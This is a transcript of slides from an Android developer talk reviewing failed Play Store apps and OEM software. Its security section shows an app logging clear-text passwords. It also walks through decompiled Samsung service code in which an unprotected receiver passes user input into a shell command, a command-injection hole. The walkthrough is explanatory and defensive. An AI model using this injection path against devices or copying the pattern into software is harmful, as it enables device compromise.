playstore bashing: learn from the biggest fails on the google play store

168
PLAY STORE BASHING LEARN FROM THE BIGGEST FAILS

Upload: eyal-lezmy

Post on 12-Jan-2015

214 views

Category:

Technology


0 download

DESCRIPTION

Slides with speaker notes can be found here: http://bit.ly/andbigfails Microsoft, Facebook, Yahoo, ... They are huge firms that are also big Android editors. During this presentation we will discover together the stories of big editors that published apps on the PlayStore (or not) that failed to satisfiy the users or the Android guidelines. To learn from their mistakes.

TRANSCRIPT

Page 1: PlayStore bashing: learn from the biggest fails on the Google Play Store

PLAY STORE BASHINGLEARN FROM THE BIGGEST FAILS

Page 2: PlayStore bashing: learn from the biggest fails on the Google Play Store

Eyal LEZMY

http://eyal.fr

SLIDES http://bit.ly/andbigfails

Page 3: PlayStore bashing: learn from the biggest fails on the Google Play Store

IT ALL STARTS ON THE PLAY STORE

01

Page 4: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 5: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 6: PlayStore bashing: learn from the biggest fails on the Google Play Store

Request only what your app requires

1/3 of apps request more permissions than they need

MINIMISE PERMISSIONS

Users should prefer apps

requesting the least

permissions

Page 7: PlayStore bashing: learn from the biggest fails on the Google Play Store

You don’t need permission

Use ContentProviders

MINIMISE PERMISSIONS

Users should prefer apps

requesting the least

permissions

Page 8: PlayStore bashing: learn from the biggest fails on the Google Play Store

Permission are not required to launch another activity that has the permission

MINIMISE PERMISSIONS

Page 9: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need a contact?

MINIMISE PERMISSIONS

Page 10: PlayStore bashing: learn from the biggest fails on the Google Play Store

Use the force, Luke

MINIMISE PERMISSIONS

Page 11: PlayStore bashing: learn from the biggest fails on the Google Play Store

MINIMISE PERMISSIONS

Intent intent = new Intent(Intent.ACTION_GET_CONTENT);intent.setType(Phone.CONTENT_ITEM_TYPE);startActivityForResult(intent, MY_REQUEST_CODE);

Start the contact app

void onActivityResult(int requestCode, int resultCode, Intent data) { if (data != null) { Uri uri = data.getData(); if (uri != null) { Cursor c = getContentResolver().query(uri, new String[] {Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);} }

}}

Page 12: PlayStore bashing: learn from the biggest fails on the Google Play Store

MINIMISE PERMISSIONS

Intent intent = new Intent(Intent.ACTION_GET_CONTENT);intent.setType(Phone.CONTENT_ITEM_TYPE);startActivityForResult(intent, MY_REQUEST_CODE);

Start the contact app

Handle the result

void onActivityResult(int requestCode, int resultCode, Intent data) { if (data != null) { Uri uri = data.getData(); if (uri != null) { Cursor c = getContentResolver().query(uri, new String[] {Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);} }

}}

Page 13: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need an UUID?

MINIMISE PERMISSIONS

Page 14: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need an UUID? TelephonyManager.getDeviceId()

Requires READ_PHONE_STATE permission

MINIMISE PERMISSIONS

Page 15: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need an UUID? TelephonyManager.getDeviceId()

Requires READ_PHONE_STATE permission

MINIMISE PERMISSIONS

Settings.Secure.ANDROID_IDReset at every wipeNot applicable on multi user environment

Page 16: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need an UUID? TelephonyManager.getDeviceId()

Requires READ_PHONE_STATE permission

MINIMISE PERMISSIONS

NO!

Settings.Secure.ANDROID_IDReset at every wipeNot applicable on multi user environment

Page 17: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need an UUID? Generate your own UUID and use

Backup API !

MINIMISE PERMISSIONS

String id = UUID.randomUUID().toString();

Page 18: PlayStore bashing: learn from the biggest fails on the Google Play Store

Need an UUID? Generate your own UUID and use

Backup API !

MINIMISE PERMISSIONS

String id = UUID.randomUUID().toString();

YES!

Page 19: PlayStore bashing: learn from the biggest fails on the Google Play Store

Android Backup API

· API is available on all Android devices. · Manufacturors can implements their own transport and storage for the API

· Each device as its own backup data

· A new device will take a backup from a device associated with your google account.

· IT'S NOT A SYNC API !

MINIMISE PERMISSIONS

Page 20: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT STORY EPISODE 102

Page 21: PlayStore bashing: learn from the biggest fails on the Google Play Store

? ? ?

Page 22: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

HOTMAIL OUTLOOK.COM

Page 23: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

HOTMAIL OUTLOOK.COM

SAME!

Page 24: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

FOLLOW THE GUIDELINES!http://d.android.com/design

Page 25: PlayStore bashing: learn from the biggest fails on the Google Play Store

Redesigned by Taylor Ling

LOOK AND FEEL

Page 26: PlayStore bashing: learn from the biggest fails on the Google Play Store

By Microsoft

LOOK AND FEEL

Page 27: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

Page 28: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

Page 29: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

FOLLOW THE GUIDELINES!http://d.android.com/design

Page 30: PlayStore bashing: learn from the biggest fails on the Google Play Store

LOOK AND FEEL

FOLLOW THE GUIDELINES!http://d.android.com/design

PLEASE!

Page 31: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT STORY EPISODE 203

Page 32: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 33: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

Page 34: PlayStore bashing: learn from the biggest fails on the Google Play Store

Emulator(last devices configuration)

XBOX MUSIC

Page 35: PlayStore bashing: learn from the biggest fails on the Google Play Store

Emulator(last devices configuration)

Nexus 7

S4Nexus 10

Mega

XBOX MUSIC

Page 36: PlayStore bashing: learn from the biggest fails on the Google Play Store

Emulator(last devices configuration)

Nexus 7

S4Nexus 10

Mega

XCover (Android 2.3)

XBOX MUSIC

Page 37: PlayStore bashing: learn from the biggest fails on the Google Play Store

Emulator(last devices configuration)

Nexus 7

S4Nexus 10

Mega

XCover (Android 2.3)

Tablets

XBOX MUSIC

Page 38: PlayStore bashing: learn from the biggest fails on the Google Play Store

Emulator(last devices configuration)

Nexus 7

S4Nexus 10

Note 2

Galaxy Nexus

S3Mega

Note 1XCover (Android 2.3)

Tablets

XBOX MUSIC

Page 39: PlayStore bashing: learn from the biggest fails on the Google Play Store

Our Nutshell

XBOX MUSIC

Brand New devicesS4, Mega, HTC One, Xperia Z, ...

TabletsNexus 7/10, Tab2, Tab3, Note 10.1, …

Old devicesXCover

Not compatible

Page 40: PlayStore bashing: learn from the biggest fails on the Google Play Store

Our Nutshell

XBOX MUSIC

Main stream devicesS3, Galaxy Nexus, Note2, Note1, ...

Compatible

Page 41: PlayStore bashing: learn from the biggest fails on the Google Play Store

The dark side of the force,

Luke

XBOX MUSIC

Page 42: PlayStore bashing: learn from the biggest fails on the Google Play Store

Let’s look into the

Manifest

XBOX MUSIC

Page 43: PlayStore bashing: learn from the biggest fails on the Google Play Store

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="14" />

XBOX MUSIC

Page 44: PlayStore bashing: learn from the biggest fails on the Google Play Store

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="14" />

Exclude the old devices

XBOX MUSIC

Page 45: PlayStore bashing: learn from the biggest fails on the Google Play Store

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="14" />

Exclude the old devices

XBOX MUSIC

Not recommended (sept. 2013)

Page 46: PlayStore bashing: learn from the biggest fails on the Google Play Store

<compatible-screens>

<screen android:screenSize="small" android:screenDensity="ldpi" />

<screen android:screenSize="small" android:screenDensity="mdpi" />

<screen android:screenSize="small" android:screenDensity="hdpi" />

<screen android:screenSize="small" android:screenDensity="xhdpi" />

<screen android:screenSize="normal" android:screenDensity="ldpi" />

<screen android:screenSize="normal" android:screenDensity="mdpi" />

<screen android:screenSize="normal" android:screenDensity="hdpi" />

<screen android:screenSize="normal" android:screenDensity="xhdpi" />

</compatible-screens>

XBOX MUSIC

Page 47: PlayStore bashing: learn from the biggest fails on the Google Play Store

Exclude tablets

<compatible-screens>

<screen android:screenSize="small" android:screenDensity="ldpi" />

<screen android:screenSize="small" android:screenDensity="mdpi" />

<screen android:screenSize="small" android:screenDensity="hdpi" />

<screen android:screenSize="small" android:screenDensity="xhdpi" />

<screen android:screenSize="normal" android:screenDensity="ldpi" />

<screen android:screenSize="normal" android:screenDensity="mdpi" />

<screen android:screenSize="normal" android:screenDensity="hdpi" />

<screen android:screenSize="normal" android:screenDensity="xhdpi" />

</compatible-screens>

XBOX MUSIC

Page 48: PlayStore bashing: learn from the biggest fails on the Google Play Store

Exclude tablets

<compatible-screens>

<screen android:screenSize="small" android:screenDensity="ldpi" />

<screen android:screenSize="small" android:screenDensity="mdpi" />

<screen android:screenSize="small" android:screenDensity="hdpi" />

<screen android:screenSize="small" android:screenDensity="xhdpi" />

<screen android:screenSize="normal" android:screenDensity="ldpi" />

<screen android:screenSize="normal" android:screenDensity="mdpi" />

<screen android:screenSize="normal" android:screenDensity="hdpi" />

<screen android:screenSize="normal" android:screenDensity="xhdpi" />

</compatible-screens>

XBOX MUSIC

Exclude brand new devices(XXHDPI screens)

Page 49: PlayStore bashing: learn from the biggest fails on the Google Play Store

Exclude tablets

<compatible-screens>

<screen android:screenSize="small" android:screenDensity="ldpi" />

<screen android:screenSize="small" android:screenDensity="mdpi" />

<screen android:screenSize="small" android:screenDensity="hdpi" />

<screen android:screenSize="small" android:screenDensity="xhdpi" />

<screen android:screenSize="normal" android:screenDensity="ldpi" />

<screen android:screenSize="normal" android:screenDensity="mdpi" />

<screen android:screenSize="normal" android:screenDensity="hdpi" />

<screen android:screenSize="normal" android:screenDensity="xhdpi" />

</compatible-screens>

XBOX MUSIC

Exclude brand new devices(XXHDPI screens)

Too restrictive!

Page 50: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

“You should not use this element”It can dramatically reduce the potential user base for your application

“Use it only as a last resort”When the application absolutely does not work with specific screen configurations

“Instead, follow the guide to Supporting Multiple Screens”

compatible-screens<>

Page 51: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

It does not accept xxhdpi But you can instead specify 480 as the valuecompatible-screens

<>

Page 52: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

Nothing seems tricky...

Page 53: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

XXHDPI

XXHDPI7.7% of Android devices

Page 54: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

XXHDPI

Tablets11.2% of Android devices

Page 55: PlayStore bashing: learn from the biggest fails on the Google Play Store

XBOX MUSIC

XXHDPI

Missing targets18,9% of the market

Page 56: PlayStore bashing: learn from the biggest fails on the Google Play Store

The Mistakes

XBOX MUSIC

Have they tested on new devices?

Ignoring the power usersBrand new devices are bought by power users and early adopters

Does not support preloading musicThe app is not prefectly opimized for mobility. Why ignoring nomad devices like tablets?

Page 57: PlayStore bashing: learn from the biggest fails on the Google Play Store

Return of the APK

XBOX MUSIC

Page 58: PlayStore bashing: learn from the biggest fails on the Google Play Store

A day after

XBOX MUSIC

Page 59: PlayStore bashing: learn from the biggest fails on the Google Play Store

A day after

XBOX MUSIC

They updated the app

Page 60: PlayStore bashing: learn from the biggest fails on the Google Play Store

<supports-screens

android:smallScreens="true"

android:normalScreens="true"

android:largeScreens="false"

android:xlargeScreens="false" />

XBOX MUSIC

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="18" />

Page 61: PlayStore bashing: learn from the biggest fails on the Google Play Store

<supports-screens

android:smallScreens="true"

android:normalScreens="true"

android:largeScreens="false"

android:xlargeScreens="false" />

XBOX MUSIC

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="18" />

HURRAY!!

Page 62: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT STORY EPISODE 304

Page 63: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 64: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

Follows the guidelines… This time

Page 65: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

Not that bad

But it could be better

Page 66: PlayStore bashing: learn from the biggest fails on the Google Play Store

Fight the confusion

MICROSOFT OFFICE

Office 365 offer is quite confusingPeople used to buy Office licenses, not to subscribe to an Office service

They try to avoid confusion

Page 67: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

Page 68: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

The title is clear

Page 69: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

Is it enough explicit?

Page 70: PlayStore bashing: learn from the biggest fails on the Google Play Store

Problem

MICROSOFT OFFICE

Does not support tablet formatA producting app has to be compatible with big screens formats

Page 71: PlayStore bashing: learn from the biggest fails on the Google Play Store

Problem

MICROSOFT OFFICE

Does not support tablet formatA producting app has to be compatible with big screens formats

- The app is optimized for a phone - On tablet, you can use the Office Webapps- We plan to enable editing with Webapps

Microsoft’s answer on PlayStore

Page 72: PlayStore bashing: learn from the biggest fails on the Google Play Store

Other problems

MICROSOFT OFFICE

Less features than the competitorsDoes not support local filesDoes not support edition

The backend seems not very readyI have been stuck during 24 hours at the mobile activation, and I’m not alone

Page 73: PlayStore bashing: learn from the biggest fails on the Google Play Store

Conclusion

MICROSOFT OFFICE

Adapt your UI to screen sizes depending on your features

Differenciate your service from competitorsEspecially when you are new on the market

Your backend have to support your mobile distribution

Page 74: PlayStore bashing: learn from the biggest fails on the Google Play Store

One more thing!

MICROSOFT OFFICE

Page 75: PlayStore bashing: learn from the biggest fails on the Google Play Store

Check out the

Manifest

MICROSOFT OFFICE

Page 76: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="16" />

Page 77: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="16" />

They support ICS+

Page 78: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="16" />

They support ICS+

Read sensitive log data

Page 79: PlayStore bashing: learn from the biggest fails on the Google Play Store

MICROSOFT OFFICE

XXHDPI

Ignore READ_LOGSJelly Bean removed this feature

Accepts READ_LOGS38% of the supported devices

Page 80: PlayStore bashing: learn from the biggest fails on the Google Play Store

Don’t do this

Why scaring 100% of your users?To use a feature with 38% of them

Avoid using deprecated functionsAs much as possible

MICROSOFT OFFICE

Page 81: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO! WEATHER05

Page 82: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 83: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Beautiful...

Page 84: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Very good score

Page 85: PlayStore bashing: learn from the biggest fails on the Google Play Store

Is it perfect?

Hell no!

YAHOO WEATHER

Page 86: PlayStore bashing: learn from the biggest fails on the Google Play Store

« Try not.Do.

Or do not.There is no try. »

YAHOO WEATHER

Page 87: PlayStore bashing: learn from the biggest fails on the Google Play Store

« Try not.Do.

Or do not.There is no try. »

YAHOO WEATHER

YODA

Page 88: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

A splashscreen

Page 89: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Non native UI

Page 90: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Non native UI

Page 91: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Where is my status bar?

Page 92: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Immersive experienceGames, Books, Videos

Hide status bar

MultitaskingEverything else

Showstatus bar

Page 93: PlayStore bashing: learn from the biggest fails on the Google Play Store

When do you check

the weather?

Morning?- Choosing your clothes- Eating your breakfast- Checking your emails- Looking after your kids

YAHOO WEATHER

Page 94: PlayStore bashing: learn from the biggest fails on the Google Play Store

When do you check

the weather?

Morning?- Choosing your clothes- Eating your breakfast- Checking your emails- Looking after your kids

This is multitasking!

YAHOO WEATHER

Page 95: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

YoutubeAn immersive app

No status bar

Page 96: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

It allows multitaskingInside the app

Playing video

Page 97: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Samsung Video Player

Page 98: PlayStore bashing: learn from the biggest fails on the Google Play Store

YAHOO WEATHER

Popup play

Samsung Video Player

Page 99: PlayStore bashing: learn from the biggest fails on the Google Play Store

About the context you

have to think

YAHOO WEATHER

Page 100: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK EPISODE 106

Page 101: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 102: PlayStore bashing: learn from the biggest fails on the Google Play Store

Under the hood

March 2013

Too much methodsLinearAlloc buffer overflow

Solution is to divide the code into several dex filesAnd load it on demand

FACEBOOK

Page 103: PlayStore bashing: learn from the biggest fails on the Google Play Store

Under the hood

March 2013

Facebook app source code was not enough modular to allow this at application level“Too many of our classes are accessed directly by the Android framework”

They had to do it at system level, thanks to reflection“We needed to inject our secondary dex files directly into the system class loader”

FACEBOOK

Page 104: PlayStore bashing: learn from the biggest fails on the Google Play Store

« More backwards compatibility for Facebook.

Another day, another private field accessed. »

FACEBOOK

Page 105: PlayStore bashing: learn from the biggest fails on the Google Play Store

« More backwards compatibility for Facebook.

Another day, another private field accessed. »

FACEBOOK

GIT COMMENTANDROID SOURCE CODE

January 2013

Page 106: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK

/**

* List of dex/resource (class path) elements.

* Should be called pathElements, but the Facebook app uses reflection

* to modify 'dexElements' (http://b/7726934).

*/

private final Element[] dexElements;

Android source code - DexPathList.javaCommit January 2013

Page 107: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK

Patch set 2

lets facebook start (at least judging by logcat output)

Android code reviewJanuary 2013

After manual testing

facebook starts, though i don't have an account.

Page 108: PlayStore bashing: learn from the biggest fails on the Google Play Store

This was not enough

They finally patched Dalvik VMUsing native hot fix to change the LinearAlloc buffer size

FACEBOOK

Page 109: PlayStore bashing: learn from the biggest fails on the Google Play Store

I feel dirty

FACEBOOK

Page 110: PlayStore bashing: learn from the biggest fails on the Google Play Store

In a nutshell

Modularity saves lifes

Google seems to test some popular apps during integrationSo they don’t break the system apps

Google hires engineers when Facebook hires sculptorsInspired by Sayo Oladeji

FACEBOOK

Page 111: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK EPISODE 207

Page 112: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 113: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

A lock screen

Page 114: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

Several services supported

Page 115: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

And a launcher

Page 116: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

Page 117: PlayStore bashing: learn from the biggest fails on the Google Play Store

The problem

The launcher is too simpleNo folderNo widgetNo dock (during first months)

It used to be mandatoryLockscreen + Launcher

FACEBOOK HOME

Page 118: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

Page 119: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

Page 120: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

Opens default launcher

Page 121: PlayStore bashing: learn from the biggest fails on the Google Play Store

FACEBOOK HOME

Spot the odd one out

Page 122: PlayStore bashing: learn from the biggest fails on the Google Play Store

ConclusionKeep the platform spiritTo override native OS elements you need first to implement all the basic features the user use to use

Identify your weakest pointsAnd prepare how to limit their impact

FACEBOOK HOME

Page 123: PlayStore bashing: learn from the biggest fails on the Google Play Store

CANAL PLUS08

Page 124: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 125: PlayStore bashing: learn from the biggest fails on the Google Play Store

CANAL+ TOUCH

Request: https://canalURL.com/1.5/getThmChannel.php...

Request: https://canalURL.com/1.5/getProgramThm.php...

Request: https://canalURL.com/1.4/programRediff.php...

Request: https://canalURL.com/1.5/VOD.php?release=1...

json response : {"token":{"url":"http:\/\/download....

Request: https://canalURL.com/1.4/getChannel.php?SE...

json response: {"token":{"url":"https:\/\/canalURL....

Request: https://canalURL.com/1.5/guideTvChannel.ph...

Request: https://canalURL.com/1.5/programInfo.php?U...

Request: https://canalURL.com/1.5/myTv.php?release=...

This is the logcat

Page 126: PlayStore bashing: learn from the biggest fails on the Google Play Store

Chatty logsMake reverse engineering easierHTTPS connexionPHP backend All the URLS and parameters are knownSome of the response are known too

CANAL+ TOUCH

Page 127: PlayStore bashing: learn from the biggest fails on the Google Play Store

Chatty logsCan bring really big security breaches

CANAL+ TOUCH

Page 128: PlayStore bashing: learn from the biggest fails on the Google Play Store

https://canalURL.com/1.5/authentification.php?

login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

This is always the logcat

Page 129: PlayStore bashing: learn from the biggest fails on the Google Play Store

https://canalURL.com/1.5/authentification.php?

login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

This is always the logcat

Wait WHAT ?!

Page 130: PlayStore bashing: learn from the biggest fails on the Google Play Store

Shut the fuck up!

Control your log outputEasy method with BuildConfig.DEBUG

Never send clear password over the networkNEVAAAAAAA!!!!

CANAL+ TOUCH

Page 131: PlayStore bashing: learn from the biggest fails on the Google Play Store

CANAL+ TOUCH

public static final boolean SHOW_LOG = BuildConfig.DEBUG;

public static void d(final String tag, final String msg) { if (SHOW_LOG) Log.d(tag, msg);}

Avoid the leak, easily

Page 132: PlayStore bashing: learn from the biggest fails on the Google Play Store

CANAL+ TOUCH

public static final boolean SHOW_LOG = BuildConfig.DEBUG;

public static void d(final String tag, final String msg) { if (SHOW_LOG) Log.d(tag, msg);}

Avoid the leak, easily

And test it during QA

Page 133: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE09

Page 134: PlayStore bashing: learn from the biggest fails on the Google Play Store

The Android

framework

Many APKsImplement the features

Often have system accessTo use low level features

OEM SOFTWARE

Page 135: PlayStore bashing: learn from the biggest fails on the Google Play Store

Open bar?

OEM SOFTWARE

Page 136: PlayStore bashing: learn from the biggest fails on the Google Play Store

Let’s see

OEM SOFTWARE

Page 137: PlayStore bashing: learn from the biggest fails on the Google Play Store

Android OEM applications(in)security

Talk by ANDRE MOULUQuarkslab

OEM SOFTWARE

Page 138: PlayStore bashing: learn from the biggest fails on the Google Play Store

MethodologyReverse engineeringUsing Androguard

A custom result environmentManifest analysisCheck for sensitive API usageDiff between OS version (to find patches)

OEM SOFTWARE

Page 139: PlayStore bashing: learn from the biggest fails on the Google Play Store

The results on Samsung

devices

12 vulnerabilities foundLeak personal informationAccess non-permited featuresSilent SMS controlCode injection...

Similar vulnerabilities on many constructors

OEM SOFTWARE

Page 140: PlayStore bashing: learn from the biggest fails on the Google Play Store

Gimme more!

OEM SOFTWARE

Page 141: PlayStore bashing: learn from the biggest fails on the Google Play Store

Search forsharedUserId = systemSensitive user ID

Command executionSensitive usage

OEM SOFTWARE

Find serviceModeApp.apk= Very sensitive app !

Page 142: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

<receiver name=".FTATDumpReceiver"><intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>

</receiver>

<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter><action name="com.android.sec.FAILDUMP"></action>

</intent-filter></receiver>

Receiver declared twice

Page 143: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

<receiver name=".FTATDumpReceiver"><intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>

</receiver>

<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter><action name="com.android.sec.FAILDUMP"></action>

</intent-filter></receiver>

Permission asked for this action

Page 144: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

<receiver name=".FTATDumpReceiver"><intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>

</receiver>

<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter><action name="com.android.sec.FAILDUMP"></action>

</intent-filter></receiver>

No permission needed for this action!!

Page 145: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

We read the FTATDumpReceiver source code

Page 146: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Intercepts the FTAT_DUMP action

Page 147: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Concats the FILENAME extra to str3

Page 148: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Other concatenations follow

Page 149: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Prepares an intent to FTATDumpService

Page 150: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Adds the final string to the intent

Page 151: PlayStore bashing: learn from the biggest fails on the Google Play Store

public void onReceive(Context paramContext, Intent paramIntent) {

String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Starts the FTATDumpService with our FILENAME parameter as extra

Page 152: PlayStore bashing: learn from the biggest fails on the Google Play Store

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

We read then the FTATDumpService source code

Page 153: PlayStore bashing: learn from the biggest fails on the Google Play Store

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

Extracts the FILENAME extra to str

Page 154: PlayStore bashing: learn from the biggest fails on the Google Play Store

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

Opens and starts a new thread

